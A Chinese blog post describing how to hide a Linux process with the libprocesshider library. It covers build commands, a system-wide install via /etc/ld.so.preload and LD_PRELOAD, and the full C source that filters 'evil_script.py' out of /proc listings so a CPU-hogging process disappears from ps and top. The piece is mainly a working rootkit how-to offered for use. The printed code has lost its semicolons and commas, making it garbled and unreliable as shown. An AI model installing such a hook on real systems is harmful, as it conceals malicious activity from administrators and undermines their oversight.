linux 下隐藏进程的一种方法

发布日期:2019-01-26

前言

    本文所用到的工具在 https://github.com/gianlucaborello/libprocesshider 可以下载

    思路就是利用 LD_PRELOAD 来实现系统函数的劫持

    LD_PRELOAD是什么:

    LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

实现

1.下载程序编译

bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.gitCloning into "libprocesshider"...remote: Counting objects: 26 done.remote: Total 26 (delta 0) reused 0 (delta 0) pack-reused 26Unpacking objects: 100% (26/26) done.bmfxgkpt-yhd:~# cd libprocesshider/bmfxgkpt-yhd:~/libprocesshider# makegcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldlbmfxgkpt-yhd:~/libprocesshider#

2.移动文件到/usr/local/lib/目录下

mv libprocesshider.so /usr/local/lib/

3.把它加载到全局动态连接局

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

测试

    我们运行evil_script.py此时发现在top 与 ps 中都无法找到 evil_script.py

此时我们发现 cpu 100%但是却找不到任何占用cpu高的程序

分析

#define _GNU_SOURCE#include <stdio.h>#include <dlfcn.h>#include <dirent.h>#include <string.h>#include <unistd.h>/* * Every process with this name will be excluded */static const char* process_to_filter = "evil_script.py"/* * Get a directory name given a DIR* handle */static int get_dir_name(DIR* dirp char* buf size_t size){ int fd = dirfd(dirp) if(fd == -1) { return 0 } char tmp[64] snprintf(tmp sizeof(tmp) "/proc/self/fd/%d" fd) ssize_t ret = readlink(tmp buf size) if(ret == -1) { return 0 } buf[ret] = 0 return 1}/* * Get a process name given its pid */static int get_process_name(char* pid char* buf){ if(strspn(pid "0123456789") != strlen(pid)) { return 0 } char tmp[256] snprintf(tmp sizeof(tmp) "/proc/%s/stat" pid) FILE* f = fopen(tmp "r") if(f == NULL) { return 0 } if(fgets(tmp sizeof(tmp) f) == NULL) { fclose(f) return 0 } fclose(f) int unused sscanf(tmp "%d (%[^)]s" &unused buf) return 1}#define DECLARE_READDIR(dirent readdir) static struct dirent* (*original_##readdir)(DIR*) = NULL struct dirent* readdir(DIR *dirp) { if(original_##readdir == NULL) { original_##readdir = dlsym(RTLD_NEXT "readdir") if(original_##readdir == NULL) { fprintf(stderr "Error in dlsym: %s" dlerror()) } } struct dirent* dir while(1) { dir = original_##readdir(dirp) if(dir) { char dir_name[256] char process_name[256] if(get_dir_name(dirp dir_name sizeof(dir_name)) && strcmp(dir_name "/proc") == 0 && get_process_name(dir->d_name process_name) && strcmp(process_name process_to_filter) == 0) { continue } } break } return dir }DECLARE_READDIR(dirent64 readdir64)DECLARE_READDIR(dirent readdir)

    程序定义了一个变量 process_to_filter 来控制不显示哪个进程名重写readdirstrcmp(process_name process_to_filter) == 0)当发现当前进程名称与 process_to_filter 相同时继续循环.

遇到的坑

    某些Linux中这个程序编译通不过

    解决方法

    删除最后两行中的一行

    DECLARE_READDIR(dirent64 readdir64)

    DECLARE_READDIR(dirent readdir)

    某些Linux中使用echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

    并不会生效此时我们需要配置环境变量bmfxgkpt-yhd:~# vi /etc/profile增加一行export LD_PRELOAD=/usr/local/lib/libprocesshider.so